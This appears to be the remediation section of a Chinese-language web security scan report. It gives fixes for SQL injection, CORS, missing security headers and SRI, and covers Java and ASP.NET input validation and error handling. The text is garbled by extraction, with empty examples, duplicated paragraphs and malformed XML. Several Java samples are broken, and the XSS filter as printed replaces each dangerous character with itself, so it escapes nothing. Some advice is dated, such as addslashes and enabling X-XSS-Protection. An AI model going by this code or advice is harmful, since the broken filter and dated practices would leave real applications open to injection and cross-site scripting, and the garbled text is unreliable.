将任何数据传给 **SQL** 查询之前,应始终先使用筛选技术来适当过滤。 这无论如何强调都不为过。 过滤用户输入可让许多注入缺陷在到达数据库之前便得到更正。

** 对用户输入加引号

不论任何数据类型,只要数据库允许,便用单引号括住所有用户数据,始终是好的观念。 MySQL 允许此格式化技术。

** 转义数据值

如果使用 MySQL 4.3.0 或更新的版本,您应该用 mysql_real_escape_string() 来转义所有字符串。 如果使用旧版的 MySQL,便应该使用 mysql_escape_string() 函数。 如果未使用 MySQL,您可以选择使用特定数据库的特定换码功能。 如果不知道换码功能,您可以选择使用较一般的换码功能,例如,addslashes()。

如果使用 PEAR DB 数据库抽象层,您可以使用 DB::quote()方法或使用?之类的查询占位符,它会自动转义替换占位符的值。

参考资料

http://ca3.php.net/mysql real escape string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

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验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

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JSON 中反映的未清理用户输入

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    setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
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该任务修复的问题类型

■ 使用 HTTP 动词篡改的认证旁路

常规

如果使用基于 HTTP 方法的访问控制,配置 web 服务器以仅允许所需 HTTP 方法。确保配置的确限制未列出的方法:

在 Apache .htaccess 文件中: 避免使用有问题的"LIMIT"伪指令。使用"LimitExcept"伪指令。

在 JAVA EE 中,避免在访问控制策略中使用 <http-method> 元素。

在 ASP.NET 授权中,在允许所需动词的白名单之后,使用 <deny verbs="*" users="*" />。

低

修改"Access-Control-Allow-Origin"头以仅获取允许的站点

TOO

该任务修复的问题类型

■ 过度许可的 CORS 访问测试

常规

准备可信站点的列表,并将它们设置为"Access-Control-Allow-Origin"头的值。如果外部访问权不需要该值,请完全地除去该头。

低

将"autocomplete"属性正确设置为"off"

TOC

该任务修复的问题类型

■ 自动填写未对密码字段禁用的 HTML 属性

常规

如果"input"元素的"password"字段中缺失"autocomplete"属性,请进行添加并将其设置为"off"。如果"autocomplete"属性设置为"on",请将其更改为"off"。

例如:易受攻击站点:

非易受攻击站点:

```
<form action="AppScan.html" method="get">
    Username: <input type="text" name="firstname" /><br />
    Password: <input type="password" name="lastname" autocomplete="off"/>
    <input type="submit" value="Submit" />
<form>
```

将您的服务器配置为使用"Content-Security-Policy"头

TOC

该任务修复的问题类型

■ 缺少"Content-Security-Policy"头

常规

将您的服务器配置为发送"Content-Security-Policy"头。对于 Apache,请参阅: http://httpd.apache.org/docs/2.2/mod/mod_headers.html

对于 IIS, 请参阅:

https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx

对于 nginx,请参阅:

http://nginx.org/en/docs/http/ngx_http_headers_module.html

将您的服务器配置为使用"X-Content-Type-Options"头

TOC

该任务修复的问题类型

■ 缺少"X-Content-Type-Options"头

常规

将您的服务器配置为在所有传出请求上发送值为"nosniff"的"X-Content-Type-Options"头。对于 Apache,请参阅: http://httpd.apache.org/docs/2.2/mod/mod_headers.html

对于 IIS, 请参阅:

https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx

对于 nginx, 请参阅:

http://nginx.org/en/docs/http/ngx_http_headers_module.html

.

将您的服务器配置为使用"X-XSS-Protection"头

TOC

该任务修复的问题类型

■ 缺少"X-XSS-Protection"头

常规

将您的服务器配置为在所有传出请求上发送值为"1"(例如已启用)的"X-XSS-Protection"头。对于 Apache,请参阅: http://httpd.apache.org/docs/2.2/mod/mod_headers.html

对于 IIS, 请参阅:

https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx

对于 nginx, 请参阅:

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低

将每个第三方脚本/链接元素支持添加到 SRI(Subresource Integrity)。

TOC

该任务修复的问题类型

■ SRI (Subresource Integrity) 的检查

常规

将子资源完整性添加到源不在您的域中的每个脚本/链接。

W3C 子资源完整性:

https://www.w3.org/TR/SRI/

SRI 散列生成器: https://srihash.org

不支持 SRI 的样本脚本元素:

支持 SRI 的样本脚本元素:

<script src="https://example.com/example-framework.js"
 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
 crossorigin="anonymous"></script>

检查链接,确定它是否确实本应包含在 Web 应用程序中

TOC

该任务修复的问题类型

■ 未分类站点的链接

常规

验证该链接是否确实应包含在 Web 应用程序中。如果不是,您可能会希望确定如何将其包含在内。

请勿接受在查询字符串中发送的主体参数

TOO

该任务修复的问题类型

■ 查询中接受的主体参数

常规

重新对应用程序编程以禁用对查询中列出的 POST 参数的处理

该任务修复的问题类型

■ HTML 注释敏感信息泄露

常规

- [1] 请勿在 HTML 注释中遗留任何重要信息(如文件名或文件路径)。
- [2] 从生产站点注释中除去以前(或未来)站点链接的跟踪信息。
- [3] 避免在 HTML 注释中放置敏感信息。
- [4] 确保 HTML 注释不包括源代码片段。
- [5] 确保程序员没有遗留重要信息。

除去 Web 站点中的内部 IP 地址

TOC

该任务修复的问题类型

■ 发现内部 IP 泄露模式

常规

内部 IP 通常显现在 Web 应用程序/服务器所生成的错误消息中,或显现在 HTML/JavaScript 注释中。

- [1] 关闭 Web 应用程序/服务器中有问题的详细错误消息。
- [2] 确保已安装相关的补丁。
- [3] 确保内部 IP 信息未留在 HTML/JavaScript 注释中。

验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

该任务修复的问题类型

- 应用程序错误
- 整数溢出

常规

应用程序错误

- [1] 检查入局请求,以了解所有预期的参数和值是否存在。 当参数缺失时,发出适当的错误消息,或使用缺省值。
- [2] 应用程序应验证其输入是否由有效字符组成(解码后)。例如,应拒绝包含空字节(编码为 %00)、单引号、引号等的输入值。
- [3] 确保值符合预期范围和类型。 如果应用程序预期特定参数具有特定集合中的值,那么该应用程序应确保其接收的值确实属于该集合。 例如,如果应用程序预期值在 10..99 范围内,那么就该确保该值确实是数字,且在 10..99 范围内。
- [4] 验证数据是否属于提供给客户端的集合。
- [5] 请勿在生产环境中输出调试错误消息和异常。

整数溢出

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.Net

应用程序错误

要在 ASP.NET 中禁用调试,请编辑 web.config 文件,使其包含以下属性: <compilation debug="false" />

要获取更多信息,请参阅"HOW TO: Disable Debugging for ASP.NET Applications",位置如下: http://support.microsoft.com/default.aspx?scid=kb;en-us;815157

您可以使用验证控件,将输入验证添加到"Web 表单"页面。验证控件提供适用于所有常见类型的标准验证的易用机制(例如,测试验证日期是否有效,或验证值是否在范围内),以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配"Web 表单"页面的类文件中处理的任何控件使用,其中包括HTML 和 Web 服务器控件。

要确保所有的必需参数都存在于请求中,请使用 "RequiredFieldValidator" 验证控件。该控件确保用户不会跳过 web 表单中的任何条目。

要确保用户输入仅包含有效值,您可以使用以下验证控件中的一种:

- [1] "RangeValidator":检查用户条目(值)是否在指定的上下界限之间。您可以检查配对数字、字母字符和日期内的范围。
- [2] "RegularExpressionValidator": 检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。

重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。有两种方法可检查用户输入的有效性:

- 1. 测试常规错误状态: 在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。
- 2. 测试个别控件的错误状态:

在页面的"验证器"集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。

整数溢出

要在 ASP.NET 中禁用调试,请编辑 web.config 文件,使其包含以下属性: <compilation

```
debug="false"
```

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在页面的"验证器"集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。

J2EE

应用程序错误

- ** 输入数据验证: ** 输入数据验证: 虽然为方便用户而在客户端层上提供数据验证,但仍必须使用 Servlet 在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
- 一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:
- [1] 必需字段
- [2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")
- [3] 字段长度
- [4] 字段范围
- [5] 字段选项
- [6] 字段模式
- [7] cookie 值
- [8] HTTP 响应好的做法是将以上例程作为"验证器"实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
- [1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...

String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
        // fieldValue is valid, continue processing request
        ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

```
// Java example to validate that a field is an int number
public Class Validator {
    public static boolean validateInt(String value) {
       boolean isFieldValid = false;
        try {
        Integer.parseInt(value);
        isFieldValid = true;
        } catch (Exception e)
        isFieldValid = false;
        return isFieldValid;
    }
}
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
   // fieldValue is valid, continue processing request
```

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,将请求参数的"integerValue"存储在请求属性中,并按以下示例所示来使用:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

应用程序应处理的主要 Java 数据类型:

userName 字段的长度是否在 8 至 20 个字符之间:

- Byte
- Short
- Integer
- Long
- Float - Double
- Date

[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
            validatedValue.length() <= maxLength);
        }
        ...
}
    ...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName, 8, 20)) {
            // userName is valid, continue further processing
            ...
        }
}</pre>
```

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
        List list = Arrays.asList(options);
        if (list != null) {
            isValidValue = list.contains(value);
        }
        } catch (Exception e) {
        }
        return isValidValue;
}
```

```
...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: **^[a-zA-Z0-9]*\$**

Java 1.3 或更早的版本不包含任何正则表达式包。建议将"Apache 正则表达式包"(请参阅以下"资源")与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
        RE r = new RE (expression);
       match = r.match(value);
        return match;
    }
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    \ensuremath{//} userName is valid, continue processing request
```

Java 1.4 引进了一种新的正则表达式包 (java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。验证必需 cookie 值的示例:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
            // valid cookie value, continue processing request
            ...
        }
    }
}</pre>
```

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
   public static String filter(String value) {
      if (value == null) {
       return null;
       StringBuffer result = new StringBuffer(value.length());
       for (int i=0; i<value.length(); ++i) {
       switch (value.charAt(i)) {
       case '<':
       result.append("<");
       break;
       case '>':
       result.append(">");
       result.append(""");
       break;
       case '\'':
       result.append("'");
       break;
       case '%':
       result.append("%");
       case ';':
       result.append("&#59;");
       break;
       case '(':
       result.append("(");
       break;
       result.append(")");
       case '&':
       result.append("&");
       break;
       case '+':
       result.append("+");
       break;
       result.append(value.charAt(i));
```

```
break;
}
return result;
}
...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 引进了"过滤器",它支持拦截和转换 HTTP 请求或响应。 以下示例使用 Validator.filter 来用"Servlet 过滤器"清理响应:

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including
HTML tags!
  \verb"public class SensitiveCharsFilter implements Filter \{
      public void doFilter(ServletRequest request,
          ServletResponse response,
          FilterChain chain)
          throws IOException, ServletException {
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
         chain.doFilter(request, wrapper);
         CharArrayWriter caw = new CharArrayWriter();
         caw.write(Validator.filter(wrapper.toString()));
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      public class CharResponseWrapper extends HttpServletResponseWrapper {
         private CharArrayWriter output;
          public String toString() {
          return output.toString();
          public CharResponseWrapper(HttpServletResponse response) {
          super (response);
         output = new CharArrayWriter();
          public PrintWriter getWriter(){
          return new PrintWriter(output);
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。 保护"用户"cookie 的示例:

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是一种强大的框架,用来实现所有以上数据验证需求。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts"bean:write"标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置"filter=false"标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required: 如果字段包含空格以外的任何字符, 便告成功。

mask: 如果值与掩码属性给定的正则表达式相匹配,便告成功。

range: 如果值在 min 和 max 属性给定的值的范围内 ((value >= min) & (value <= max)), 便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date: 如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard:如果值可以是有效的信用卡号码,便告成功。e-mail:如果值可以是有效的电子邮件地址,便告成功。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
   <global>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"</pre>
       classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        < var>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </var>
        </field>
        </form>
    </formset>
</form-validation>
```

[2] JavaServer Faces 技术

"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API (JSR 127)。 JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange: 在组件上注册 DoubleRangeValidator

validate_length: 在组件上注册 LengthValidator

validate_longrange: 在组件上注册 LongRangeValidator validate_required: 在组件上注册 RequiredValidator validate_stringrange: 在组件上注册 StringRangeValidator

validator: 在组件上注册定制的 Validator

JavaServer Faces API 定义以下 Ullnput 和 UlOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date output date:显示以 java.text.Date 实例格式化的 java.util.Date

input_datetime:接受以 java.text.DateTime实例格式化的 java.util.Date output datetime:显示以 java.text.DateTime实例格式化的 java.util.Date

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

input_text:接受单行文本字符串。output text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date output time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date

input hidden: 允许页面作者在页面中包括隐藏变量

input secret: 接受不含空格的单行文本,并在输入时,将其显示为一组星号

input textarea: 接受多行文本

output errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息

output_label:将嵌套的组件显示为指定输入字段的标签

output_message: 显示本地化消息

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循"模型视图控制器(MVC)"模式。在该模式中,Servlet 扮演"控制器"的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按

预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

- [1] 定义错误
- [2] 报告错误
- [3] 呈现错误
- [4] 错误映射
- [1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要 "user_name"字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

- (a) ERROR USERNAME REQUIRED:该错误密钥用于显示消息,以通知用户需要 "user name" 字段;
- (b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户 "user_name" 字段应该是字母 数字。
- (c) ERROR USERNAME DUPLICATE:该错误密钥用于显示消息,以通知用户 "user name" 值在数据库中重复;
- (d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户 "user_name" 值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys: 定义所有错误密钥

```
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 封装个别错误

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {
    // Constructor given a specified error key
    public Error(String key) {
    this(key, null);
   // Constructor given a specified error key and array of placeholder objects
   public Error(String key, Object[] values) {
    this.key = key;
   this.values = values;
    // Returns the error key
   public String getKey() {
   return this.key;
   // Returns the placeholder values
   public Object[] getValues() {
    return this.values;
   private String key = null;
   private Object[] values = null;
```

- Errors: 封装错误的集合

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
    // Adds an Error object to the Collection of errors for the specified bean property.
   public void addError(String property, Error error) {
    ArrayList propertyErrors = (ArrayList)errors.get(property);
    if (propertyErrors == null) {
   propertyErrors = new ArrayList();
   errors.put(property, propertyErrors);
   propertyErrors.put(error);
   // Returns true if there are any errors
   public boolean hasErrors() {
   return (errors.size > 0);
   \ensuremath{//} Returns the Errors for the specified property
    public ArrayList getErrors(String property) {
    return (ArrayList)errors.get(property);
   private HashMap errors = new HashMap();
```

以下是使用上述框架类来处理"user_name"字段验证错误的示例:

```
// Example to process validation errors of the "user name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
   errors.addError("user name", new Error(ErrorKeys.ERROR USERNAME REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
   errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
else
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    trv {
        if (UserValidationEJB.checkIfDuplicate(userName)) {
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
    } catch (RemoteException e) {
       // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user name", new Error(ErrorKeys.ERROR USERNAME DUPLICATE);
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
```

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

- (a) Servlet 错误机制
- (b) JSP 错误机制

[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP (已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError, 或
- 抛出异常

好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
   rd.forward(request, response);
}
```

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException
- ServletException
- IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:

```
<%@ page isErrorPage="true" %>
```

isErrorPage 伪指令导致"exception"变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

- (a) 资源束
- (b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    }

    // Returns a formatted error message for the specified error key in the specified locale
```

```
public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
        \ensuremath{//} Format the message using the specified placeholders args
        return MessageFormat.format(errorMessage, args);
        } else {
        return errorMessage;
    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors) request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user name" property
    ArrayList userNameErrors = errors.getErrors("user name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "\r\n");
```

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,"Servlet 容器"会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在"Web 部署描述符(web.xml)"中,如以下示例所指定:

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
  <error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
  </error-page>
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  </error-page>
  </
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
<global>
```

```
<validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
       msg="errors.required">
        </validator>
        <validator name="mask"
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
       <form name="loginForm">
